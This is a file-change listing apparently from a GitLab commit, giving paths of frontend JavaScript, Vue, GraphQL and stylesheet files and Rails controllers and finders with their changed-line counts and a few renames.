-rw-r--r--app/assets/javascripts/releases/graphql/queries/one_release_for_editing.query.graphql1
-rw-r--r--app/assets/javascripts/repository/commits_service.js11
-rw-r--r--app/assets/javascripts/repository/components/blob_button_group.vue9
-rw-r--r--app/assets/javascripts/repository/components/blob_content_viewer.vue15
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/index.js16
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/pdf_viewer.vue50
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue25
-rw-r--r--app/assets/javascripts/repository/components/delete_blob_modal.vue14
-rw-r--r--app/assets/javascripts/repository/components/last_commit.vue2
-rw-r--r--app/assets/javascripts/repository/components/table/row.vue16
-rw-r--r--app/assets/javascripts/repository/components/tree_content.vue21
-rw-r--r--app/assets/javascripts/repository/components/upload_blob_modal.vue4
-rw-r--r--app/assets/javascripts/repository/constants.js7
-rw-r--r--app/assets/javascripts/repository/index.js2
-rw-r--r--app/assets/javascripts/repository/mutations/lock_path.mutation.graphql1
-rw-r--r--app/assets/javascripts/repository/pages/tree.vue2
-rw-r--r--app/assets/javascripts/repository/queries/blob_info.query.graphql7
-rw-r--r--app/assets/javascripts/right_sidebar.js9
-rw-r--r--app/assets/javascripts/runner/admin_runners/admin_runners_app.vue18
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_actions_cell.vue83
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_status_cell.vue12
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_summary_cell.vue2
-rw-r--r--app/assets/javascripts/runner/components/runner_contacted_state_badge.vue69
-rw-r--r--app/assets/javascripts/runner/components/runner_delete_modal.vue51
-rw-r--r--app/assets/javascripts/runner/components/runner_filtered_search_bar.vue32
-rw-r--r--app/assets/javascripts/runner/components/runner_list.vue36
-rw-r--r--app/assets/javascripts/runner/components/runner_status_badge.vue80
-rw-r--r--app/assets/javascripts/runner/components/search_tokens/status_token_config.js2
-rw-r--r--app/assets/javascripts/runner/components/search_tokens/tag_token.vue1
-rw-r--r--app/assets/javascripts/runner/components/stat/runner_online_stat.vue17
-rw-r--r--app/assets/javascripts/runner/constants.js17
-rw-r--r--app/assets/javascripts/runner/graphql/get_group_runners.query.graphql1
-rw-r--r--app/assets/javascripts/runner/graphql/get_runner.query.graphql2
-rw-r--r--app/assets/javascripts/runner/graphql/runner_node.fragment.graphql3
-rw-r--r--app/assets/javascripts/runner/graphql/runner_update.mutation.graphql2
-rw-r--r--app/assets/javascripts/runner/group_runners/group_runners_app.vue10
-rw-r--r--app/assets/javascripts/security_configuration/components/app.vue17
-rw-r--r--app/assets/javascripts/security_configuration/components/constants.js71
-rw-r--r--app/assets/javascripts/security_configuration/components/training_provider_list.vue61
-rw-r--r--app/assets/javascripts/security_configuration/graphql/security_training_providers.query.graphql9
-rw-r--r--app/assets/javascripts/security_configuration/index.js31
-rw-r--r--app/assets/javascripts/security_configuration/utils.js11
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue11
-rw-r--r--app/assets/javascripts/shared/milestones/form.js22
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/attention_requested_toggle.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/crm_contacts/crm_contacts.vue131
-rw-r--r--app/assets/javascripts/sidebar/components/crm_contacts/queries/get_issue_crm_contacts.query.graphql7
-rw-r--r--app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.fragment.graphql17
-rw-r--r--app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.subscription.graphql9
-rw-r--r--app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue13
-rw-r--r--app/assets/javascripts/sidebar/components/date/sidebar_inherit_date.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue192
-rw-r--r--app/assets/javascripts/sidebar/components/lock/mutations/update_issue_lock.mutation.graphql1
-rw-r--r--app/assets/javascripts/sidebar/components/lock/mutations/update_merge_request_lock.mutation.graphql1
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql1
-rw-r--r--app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue14
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue71
-rw-r--r--app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue2
-rw-r--r--app/assets/javascripts/sidebar/constants.js35
-rw-r--r--app/assets/javascripts/sidebar/graphql.js2
-rw-r--r--app/assets/javascripts/sidebar/mount_milestone_sidebar.js2
-rw-r--r--app/assets/javascripts/sidebar/mount_sidebar.js70
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_confidential.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_due_date.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_participants.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_reference.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_start_date.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_subscribed.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_todo.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issuable_assignees.subscription.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_confidential.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_reference.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_subscribed.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_todo.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_reference.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_subscribed.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/project_milestones.query.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/sidebarDetails.query.graphql2
-rw-r--r--app/assets/javascripts/sidebar/queries/sidebarDetailsMR.query.graphql2
-rw-r--r--app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/update_merge_request_labels.mutation.graphql4
-rw-r--r--app/assets/javascripts/sidebar/sidebar_mediator.js14
-rw-r--r--app/assets/javascripts/snippets/components/edit.vue2
-rw-r--r--app/assets/javascripts/snippets/components/snippet_blob_view.vue4
-rw-r--r--app/assets/javascripts/snippets/components/snippet_header.vue2
-rw-r--r--app/assets/javascripts/snippets/fragments/project.fragment.graphql6
-rw-r--r--app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql1
-rw-r--r--app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql1
-rw-r--r--app/assets/javascripts/static_site_editor/graphql/queries/source_content.query.graphql1
-rw-r--r--app/assets/javascripts/tabs/constants.js20
-rw-r--r--app/assets/javascripts/tabs/index.js239
-rw-r--r--app/assets/javascripts/templates/issuable_template_selector.js115
-rw-r--r--app/assets/javascripts/templates/issuable_template_selectors.js31
-rw-r--r--app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql6
-rw-r--r--app/assets/javascripts/terraform/graphql/queries/get_states.query.graphql3
-rw-r--r--app/assets/javascripts/test_utils/simulate_drag.js42
-rw-r--r--app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql1
-rw-r--r--app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql2
-rw-r--r--app/assets/javascripts/ui_development_kit.js28
-rw-r--r--app/assets/javascripts/user_lists/components/add_user_modal.vue2
-rw-r--r--app/assets/javascripts/user_lists/components/user_list.vue2
-rw-r--r--app/assets/javascripts/vue_alerts.js28
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue171
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/extensions/utils.js62
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/commit_edit.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/merge_checks_failed.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_archived.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue3
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue87
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue9
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/constants.js15
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/issues.js18
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/issues.query.graphql1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/issues_collapsed.query.graphql1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mixins/ready_to_merge.js4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.fragment.graphql1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_failed.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/draft.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/new_ready_to_merge.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql3
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/rebase.query.graphql2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/toggle_draft.mutation.graphql1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js1
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue9
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue3
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/chronic_duration_input.vue133
-rw-r--r--app/assets/javascripts/vue_shared/components/clipboard_button.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/commit.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger_modal.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/confirm_modal.vue72
-rw-r--r--app/assets/javascripts/vue_shared/components/confirm_modal_eventhub.js5
-rw-r--r--app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/design_management/design_note_pin.vue67
-rw-r--r--app/assets/javascripts/vue_shared/components/dismissible_alert.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/dom_element_listener.vue28
-rw-r--r--app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js113
-rw-r--r--app/assets/javascripts/vue_shared/components/file_row.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js15
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/epic.fragment.graphql15
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/search_epics.query.graphql16
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue42
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue129
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue138
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/weight_token.vue66
-rw-r--r--app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.stories.js27
-rw-r--r--app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.vue127
-rw-r--r--app/assets/javascripts/vue_shared/components/header_ci_component.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/issuable/init_issuable_header_warning.js22
-rw-r--r--app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue201
-rw-r--r--app/assets/javascripts/vue_shared/components/line_numbers.vue57
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestions.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/toolbar.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/namespace_select/namespace_select.vue93
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/system_note.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.stories.js40
-rw-r--r--app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.vue103
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/list_item.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/metadata_item.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/collapsed_grouped_date_picker.vue101
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue12
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue45
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value_collapsed.vue55
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_labels.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql4
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/merge_request_labels.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue21
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_assignees.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/components/source_editor.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/source_viewer.vue88
-rw-r--r--app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.stories.js38
-rw-r--r--app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.vue148
-rw-r--r--app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue69
-rw-r--r--app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.stories.js88
-rw-r--r--app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue85
-rw-r--r--app/assets/javascripts/vue_shared/issuable/create/components/issuable_create_root.vue (renamed from app/assets/javascripts/issuable_create/components/issuable_create_root.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/create/components/issuable_form.vue (renamed from app/assets/javascripts/issuable_create/components/issuable_form.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar.vue (renamed from app/assets/javascripts/issuable_list/components/issuable_bulk_edit_sidebar.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/list/components/issuable_item.vue303
-rw-r--r--app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue363
-rw-r--r--app/assets/javascripts/vue_shared/issuable/list/components/issuable_tabs.vue67
-rw-r--r--app/assets/javascripts/vue_shared/issuable/list/constants.js (renamed from app/assets/javascripts/issuable_list/constants.js)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_body.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_body.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_description.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_description.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_discussion.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_discussion.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_edit_form.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_header.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_header.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_show_root.vue162
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_title.vue (renamed from app/assets/javascripts/issuable_show/components/issuable_title.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/constants.js (renamed from app/assets/javascripts/issuable_show/constants.js)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/event_hub.js (renamed from app/assets/javascripts/pages/projects/labels/event_hub.js)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue (renamed from app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/issuable/sidebar/constants.js (renamed from app/assets/javascripts/issuable_sidebar/constants.js)0
-rw-r--r--app/assets/javascripts/vue_shared/mixins/issuable.js14
-rw-r--r--app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue2
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/graphql/fragments/job_artifacts.fragment.graphql2
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql3
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_pipeline_download_paths.query.graphql2
-rw-r--r--app/assets/javascripts/work_items/components/item_title.vue71
-rw-r--r--app/assets/javascripts/work_items/graphql/create_work_item.mutation.graphql18
-rw-r--r--app/assets/javascripts/work_items/graphql/fragmentTypes.json2
-rw-r--r--app/assets/javascripts/work_items/graphql/provider.js20
-rw-r--r--app/assets/javascripts/work_items/graphql/resolvers.js58
-rw-r--r--app/assets/javascripts/work_items/graphql/typedefs.graphql52
-rw-r--r--app/assets/javascripts/work_items/graphql/update_work_item.mutation.graphql18
-rw-r--r--app/assets/javascripts/work_items/graphql/widget.fragment.graphql2
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item.query.graphql2
-rw-r--r--app/assets/javascripts/work_items/pages/create_work_item.vue71
-rw-r--r--app/assets/javascripts/work_items/pages/work_item_root.vue38
-rw-r--r--app/assets/javascripts/work_items/router/routes.js7
-rw-r--r--app/assets/stylesheets/components/design_management/design.scss9
-rw-r--r--app/assets/stylesheets/framework/buttons.scss14
-rw-r--r--app/assets/stylesheets/framework/common.scss7
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar.scss17
-rw-r--r--app/assets/stylesheets/framework/files.scss33
-rw-r--r--app/assets/stylesheets/framework/header.scss2
-rw-r--r--app/assets/stylesheets/framework/layout.scss27
-rw-r--r--app/assets/stylesheets/framework/markdown_area.scss4
-rw-r--r--app/assets/stylesheets/framework/snippets.scss5
-rw-r--r--app/assets/stylesheets/framework/typography.scss6
-rw-r--r--app/assets/stylesheets/highlight/common.scss8
-rw-r--r--app/assets/stylesheets/highlight/themes/dark.scss13
-rw-r--r--app/assets/stylesheets/highlight/themes/monokai.scss11
-rw-r--r--app/assets/stylesheets/highlight/themes/none.scss11
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-dark.scss11
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-light.scss11
-rw-r--r--app/assets/stylesheets/highlight/white_base.scss11
-rw-r--r--app/assets/stylesheets/lazy_bundles/select2_overrides.scss4
-rw-r--r--app/assets/stylesheets/page_bundles/_pipeline_mixins.scss6
-rw-r--r--app/assets/stylesheets/page_bundles/ide.scss5
-rw-r--r--app/assets/stylesheets/page_bundles/import.scss35
-rw-r--r--app/assets/stylesheets/page_bundles/merge_requests.scss2
-rw-r--r--app/assets/stylesheets/page_bundles/pipeline.scss11
-rw-r--r--app/assets/stylesheets/pages/clusters.scss26
-rw-r--r--app/assets/stylesheets/pages/commits.scss1
-rw-r--r--app/assets/stylesheets/pages/issuable.scss10
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss13
-rw-r--r--app/assets/stylesheets/pages/profile.scss10
-rw-r--r--app/assets/stylesheets/pages/search.scss45
-rw-r--r--app/assets/stylesheets/startup/startup-dark.scss71
-rw-r--r--app/assets/stylesheets/startup/startup-general.scss67
-rw-r--r--app/assets/stylesheets/themes/dark_mode_overrides.scss4
-rw-r--r--app/assets/stylesheets/themes/theme_helper.scss1
-rw-r--r--app/assets/stylesheets/utilities.scss18
-rw-r--r--app/controllers/admin/plan_limits_controller.rb1
-rw-r--r--app/controllers/admin/version_check_controller.rb12
-rw-r--r--app/controllers/application_controller.rb18
-rw-r--r--app/controllers/autocomplete_controller.rb2
-rw-r--r--app/controllers/clusters/clusters_controller.rb8
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor.rb4
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb2
-rw-r--r--app/controllers/concerns/check_rate_limit.rb22
-rw-r--r--app/controllers/concerns/cycle_analytics_params.rb1
-rw-r--r--app/controllers/concerns/dependency_proxy/group_access.rb4
-rw-r--r--app/controllers/concerns/integrations/actions.rb2
-rw-r--r--app/controllers/concerns/integrations/hooks_execution.rb12
-rw-r--r--app/controllers/concerns/issuable_actions.rb1
-rw-r--r--app/controllers/concerns/membership_actions.rb1
-rw-r--r--app/controllers/concerns/notes_actions.rb9
-rw-r--r--app/controllers/concerns/one_trust_csp.rb4
-rw-r--r--app/controllers/concerns/preview_markdown.rb2
-rw-r--r--app/controllers/concerns/snippets/blobs_actions.rb2
-rw-r--r--app/controllers/concerns/sourcegraph_decorator.rb2
-rw-r--r--app/controllers/concerns/wiki_actions.rb13
-rw-r--r--app/controllers/confirmations_controller.rb1
-rw-r--r--app/controllers/dashboard_controller.rb2
-rw-r--r--app/controllers/google_api/authorizations_controller.rb35
-rw-r--r--app/controllers/graphql_controller.rb6
-rw-r--r--app/controllers/groups/autocomplete_sources_controller.rb2
-rw-r--r--app/controllers/groups/boards_controller.rb1
-rw-r--r--app/controllers/groups/crm/contacts_controller.rb21
-rw-r--r--app/controllers/groups/crm/organizations_controller.rb17
-rw-r--r--app/controllers/groups/crm_controller.rb30
-rw-r--r--app/controllers/groups/dependency_proxies_controller.rb19
-rw-r--r--app/controllers/groups/dependency_proxy_for_containers_controller.rb2
-rw-r--r--app/controllers/groups/variables_controller.rb2
-rw-r--r--app/controllers/groups_controller.rb21
-rw-r--r--app/controllers/help_controller.rb4
-rw-r--r--app/controllers/import/base_controller.rb16
-rw-r--r--app/controllers/import/bulk_imports_controller.rb8
-rw-r--r--app/controllers/import/gitlab_groups_controller.rb11
-rw-r--r--app/controllers/invites_controller.rb7
-rw-r--r--app/controllers/omniauth_callbacks_controller.rb10
-rw-r--r--app/controllers/profiles/emails_controller.rb16
-rw-r--r--app/controllers/profiles/two_factor_auths_controller.rb6
-rw-r--r--app/controllers/profiles_controller.rb2
-rw-r--r--app/controllers/projects/autocomplete_sources_controller.rb2
-rw-r--r--app/controllers/projects/blame_controller.rb2
-rw-r--r--app/controllers/projects/blob_controller.rb6
-rw-r--r--app/controllers/projects/boards_controller.rb1
-rw-r--r--app/controllers/projects/ci/lints_controller.rb1
-rw-r--r--app/controllers/projects/ci/pipeline_editor_controller.rb4
-rw-r--r--app/controllers/projects/forks_controller.rb2
-rw-r--r--app/controllers/projects/google_cloud/base_controller.rb26
-rw-r--r--app/controllers/projects/google_cloud/service_accounts_controller.rb85
-rw-r--r--app/controllers/projects/google_cloud_controller.rb28
-rw-r--r--app/controllers/projects/hooks_controller.rb2
-rw-r--r--app/controllers/projects/integrations/shimos_controller.rb19
-rw-r--r--app/controllers/projects/issues_controller.rb34
-rw-r--r--app/controllers/projects/jobs_controller.rb8
-rw-r--r--app/controllers/projects/learn_gitlab_controller.rb10
-rw-r--r--app/controllers/projects/merge_requests/conflicts_controller.rb6
-rw-r--r--app/controllers/projects/merge_requests/content_controller.rb5
-rw-r--r--app/controllers/projects/merge_requests/creations_controller.rb9
-rw-r--r--app/controllers/projects/merge_requests/diffs_controller.rb8
-rw-r--r--app/controllers/projects/merge_requests/drafts_controller.rb9
-rw-r--r--app/controllers/projects/merge_requests_controller.rb35
-rw-r--r--app/controllers/projects/notes_controller.rb2
-rw-r--r--app/controllers/projects/pipeline_schedules_controller.rb10
-rw-r--r--app/controllers/projects/pipelines_controller.rb25
-rw-r--r--app/controllers/projects/prometheus/alerts_controller.rb6
-rw-r--r--app/controllers/projects/raw_controller.rb20
-rw-r--r--app/controllers/projects/repositories_controller.rb16
-rw-r--r--app/controllers/projects/runners_controller.rb2
-rw-r--r--app/controllers/projects/settings/ci_cd_controller.rb2
-rw-r--r--app/controllers/projects/tree_controller.rb2
-rw-r--r--app/controllers/projects/usage_quotas_controller.rb9
-rw-r--r--app/controllers/projects/variables_controller.rb2
-rw-r--r--app/controllers/projects_controller.rb25
-rw-r--r--app/controllers/registrations/welcome_controller.rb6
-rw-r--r--app/controllers/registrations_controller.rb3
-rw-r--r--app/controllers/repositories/git_http_client_controller.rb13
-rw-r--r--app/controllers/repositories/lfs_api_controller.rb33
-rw-r--r--app/controllers/search_controller.rb35
-rw-r--r--app/controllers/sessions_controller.rb8
-rw-r--r--app/controllers/user_callouts_controller.rb29
-rw-r--r--app/controllers/users/callouts_controller.rb31
-rw-r--r--app/controllers/users/group_callouts_controller.rb2
-rw-r--r--app/controllers/users/terms_controller.rb1
-rw-r--r--app/experiments/application_experiment.rb32
-rw-r--r--app/experiments/combined_registration_experiment.rb6
-rw-r--r--app/experiments/new_project_readme_content_experiment.rb2
-rw-r--r--app/experiments/new_project_sast_enabled_experiment.rb3
-rw-r--r--app/finders/ci/auth_job_finder.rb2
-rw-r--r--app/finders/ci/runners_finder.rb5
-rw-r--r--app/finders/environments/environments_by_deployments_finder.rb21
-rw-r--r--app/finders/group_descendants_finder.rb18
-rw-r--r--app/finders/groups_finder.rb21
-rw-r--r--app/finders/issuable_finder.rb16
-rw-r--r--app/finders/issuables/crm_contact_filter.rb20
-rw-r--r--app/finders/issuables/crm_organization_filter.rb21
-rw-r--r--app/finders/merge_requests_finder.rb11
-rw-r--r--app/finders/packages/build_infos_finder.rb68
-rw-r--r--app/finders/packages/group_packages_finder.rb12
-rw-r--r--app/finders/personal_projects_finder.rb1
-rw-r--r--app/finders/user_group_notification_settings_finder.rb7
-rw-r--r--app/graphql/graphql_triggers.rb4
-rw-r--r--app/graphql/mutations/issues/set_crm_contacts.rb18
-rw-r--r--app/graphql/mutations/jira_import/start.rb6
-rw-r--r--app/graphql/mutations/merge_requests/accept.rb6
-rw-r--r--app/graphql/mutations/user_callouts/create.rb2
-rw-r--r--app/graphql/queries/container_registry/get_container_repositories.query.graphql2
